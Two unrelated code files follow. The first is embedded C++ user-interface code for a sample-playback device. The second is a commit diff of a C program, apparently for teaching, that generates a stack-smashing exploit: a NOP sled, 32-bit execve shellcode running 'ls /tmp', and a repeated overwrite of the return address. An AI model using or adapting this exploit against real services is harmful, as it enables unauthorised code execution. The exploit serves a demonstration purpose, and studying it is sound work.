uint32_t Pot::process(uint32_t value)
{
_history.put(value);
value <<= 4; // 12-bit to 16-bit
// Set gain for this channel.
if (value <= kAdcMax)
{
value = _avg.update(value);
uint32_t hysLow = (_last > _hysteresis / 2) ? (_last - _hysteresis / 2) : 0;
uint32_t hysHigh = min(_last + _hysteresis / 2, kAdcMax);
if (value < hysLow || value > hysHigh)
{
_last = value;
_hysteresis = 0;
UI::get().pot_did_change(*this, value);
}
}
return 0;
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UI::UI()
: _button1(PIN_BUTTON1_PORT, PIN_BUTTON1_GPIO, PIN_BUTTON1_BIT, kButton1),
_button2(PIN_BUTTON2_PORT, PIN_BUTTON2_GPIO, PIN_BUTTON2_BIT, kButton2),
_mode(kPlayMode),
_voiceStates{0},
_editChannel(0)
{
}
void UI::init()
{
s_ui = this;
_thread.init("ui", this, &UI::ui_thread, kUIThreadPriority, kArSuspendThread);
_runloop.init("ui", &_thread);
_eventQueue.init("events");
_runloop.addQueue(&_eventQueue, NULL, NULL);
_blinkTimer.init("blink", this, &UI::handle_blink_timer, kArPeriodicTimer, 20);
_potReleaseTimer.init("pot-release", this, &UI::handle_pot_release_timer, kArOneShotTimer, 20);
_button1.init();
}
void UI::set_leds(LEDBase ** channelLeds, LEDBase * button1Led)
{
_channelLeds = channelLeds;
_button1Led = button1Led;
}
void UI::start()
{
_thread.resume();
}
template <UIMode mode>
void UI::set_mode()
{
uint32_t n;
_mode = mode;
// Switch to edit mode.
if (mode == kEditMode)
{
_button1Led->on();
// Turn off all LEDs.
for (n = 0; n < kVoiceCount; ++n)
{
_channelLeds[n]->off();
}
// Select first channel for edit.
_editChannel = 0;
_channelLeds[0]->on();
}
// Switch to play mode.
else
{
_button1Led->off();
// Restore channel LEDs to play state.
for (n = 0; n < kVoiceCount; ++n)
{
_channelLeds[n]->set(_voiceStates[n]);
}
}
// Set hysteresis on all pots.
for (n = 0; n < kVoiceCount; ++n)
{
_channelPots[n].set_hysteresis(kPotEditHysteresisPercent);
}
}
void UI::ui_thread()
{
while (true)
{
ar_runloop_result_t object;
if (_runloop.run(kArInfiniteTimeout, &object) == kArRunLoopQueueReceived)
{
// _eventQueue is the only queue added to the runloop.
assert(object.m_queue == static_cast<ar_queue_t *>(&_eventQueue));
UIEvent event = _eventQueue.receive();
// uint32_t n;
switch (event.event)
{
case kButtonDown:
break;
case kButtonUp:
switch (event.source)
{
case kButton1:
// Switch to edit mode.
if (_mode == kPlayMode)
{
set_mode<kEditMode>();
}
// Switch to play mode.
else if (_editChannel == (kVoiceCount - 1))
{
set_mode<kPlayMode>();
}
// Select next channel to edit.
else
{
// Update edit LED.
_channelLeds[_editChannel]->off();
_editChannel = (_editChannel + 1) % kVoiceCount;
_channelLeds[_editChannel]->on();
// Set hysteresis on all pots.
uint32_t n;
for (n = 0; n < kVoiceCount; ++n)
{
_channelPots[n].set_hysteresis(kPotEditHysteresisPercent);
}
}
break;
default:
break;
}
break;
case kPotAdjusted:
// n = event.source - kPot1;
break;
default:
break;
}
}
}
}
void UI::set_voice_playing(uint32_t voice, bool state)
{
assert(voice < kVoiceCount);
_voiceStates[voice] = state;
if (_mode == kPlayMode)
{
_channelLeds[voice]->set(state);
}
}
void UI::handle_blink_timer(Ar::Timer * timer)
{
}
void UI::handle_pot_release_timer(Ar::Timer * timer)
{
}
void UI::pot_did_change(Pot& pot, uint32_t value)
{
uint32_t potNumber = pot.n;
float fvalue = float(value) / float(kAdcMax);
// In play mode, the pots control the gain of their corresponding channel.
if (get_mode() == kPlayMode)
{
g_voice[potNumber].set_gain(fvalue);
}
else
{
// In edit mode, each pot controls a different voice parameter of the selected channel.
switch (potNumber)
{
case 0:
// Shift value from 0..1 to 0.1..2.5
fvalue = (fvalue * 2.4f) + 0.1f;
g_voice[_editChannel].set_pitch(fvalue);
break;
case 1:
// 0..1
g_voice[_editChannel].set_sample_start(fvalue);
break;
case 2:
// 0..1
g_voice[_editChannel].set_sample_end(fvalue);
break;
case 3:
break;
}
}
}
//------------------------------------------------------------------------------
// EOF
//------------------------------------------------------------------------------
<|endoftext|>
|
<commit_before>/**
Demonstrate service vulnerability via stack smashing
*/
#include <stdio.h>
#include <stdlib.h>
/* Vulnerable machine's word size */
typedef unsigned int word;
int offset=0;
unsigned char xorby=0;
unsigned int bytesleft=0;
void emit(unsigned char x) {
x=x^xorby; // fix outgoing xor at this stage
//printf("\\x%02x",x); // for $'shellcode'
putc(x,stdout); // for direct pipe
bytesleft--;
offset++;
}
void emit_word(word w) {
emit(w); // little endian target
emit(w>>8);
emit(w>>16);
emit(w>>24);
}
void emit_long(long w) {
emit_word(w); // little endian target
emit_word(w>>32);
}
// Emit simple command syscall as binary machine code
// See disassembly with
// echo -n $'\x...' > a
// ndisasm -b 32 a
void emit_shell(void) {
// nop "sled" to allow some slop in jump target address
for (int sled=0;sled<32;sled++) emit(0x90);
const char *shell=
// http://shell-storm.org/shellcode/files/shellcode-758.php
"\x31\xc0"
"\x50"
"\x68" "//ls" // exe
"\x68" "/bin" // dir
"\x89\xe3"
"\x50"
"\x68" "/tmp" // ls argument
"\x89\xe1"
"\x50"
"\x51"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
while (*shell!=0) emit(*shell++);
}
int main(int argc,char *argv[]) {
long address=0;
if (argc>1) sscanf(argv[1],"%li",&address);
// Address of target function
word target=(word)address;
// Hose return address over everything!
for (int brute=0;brute<(128+8+4+4)/4;brute++)
emit_word(target);
// Finish up with newline
emit('\n');
return 0;
}
<commit_msg>Fix missing edx (envp) initialization in shellcode.<commit_after>/**
Demonstrate service vulnerability via stack smashing
*/
#include <stdio.h>
#include <stdlib.h>
/* Vulnerable machine's word size */
typedef unsigned int word;
int offset=0;
unsigned char xorby=0;
unsigned int bytesleft=0;
void emit(unsigned char x) {
x=x^xorby; // fix outgoing xor at this stage
//printf("\\x%02x",x); // for $'shellcode'
putc(x,stdout); // for direct pipe
bytesleft--;
offset++;
}
void emit_word(word w) {
emit(w); // little endian target
emit(w>>8);
emit(w>>16);
emit(w>>24);
}
void emit_long(long w) {
emit_word(w); // little endian target
emit_word(w>>32);
}
// Emit simple command syscall as binary machine code
// See disassembly with
// echo -n $'\x...' > a
// ndisasm -b 32 a
void emit_shell(void) {
// nop "sled" to allow some slop in jump target address
for (int sled=0;sled<32;sled++) emit(0x90);
const char *shell=
// http://shell-storm.org/shellcode/files/shellcode-758.php
"\x31\xc0"
"\x50"
"\x68" "//ls" // exe
"\x68" "/bin" // dir
"\x89\xe3"
"\x50"
"\x68" "/tmp" // ls argument
"\x89\xe1"
"\x50"
"\x31\xd2"
"\x51"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
while (*shell!=0) emit(*shell++);
}
int main(int argc,char *argv[]) {
long address=0;
if (argc>1) sscanf(argv[1],"%li",&address);
// Address of target function
word target=(word)address;
// Hose return address over everything!
for (int brute=0;brute<(128+8+4+4)/4;brute++)
emit_word(target);
// Finish up with newline
emit('\n');
return 0;
}
<|endoftext|>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.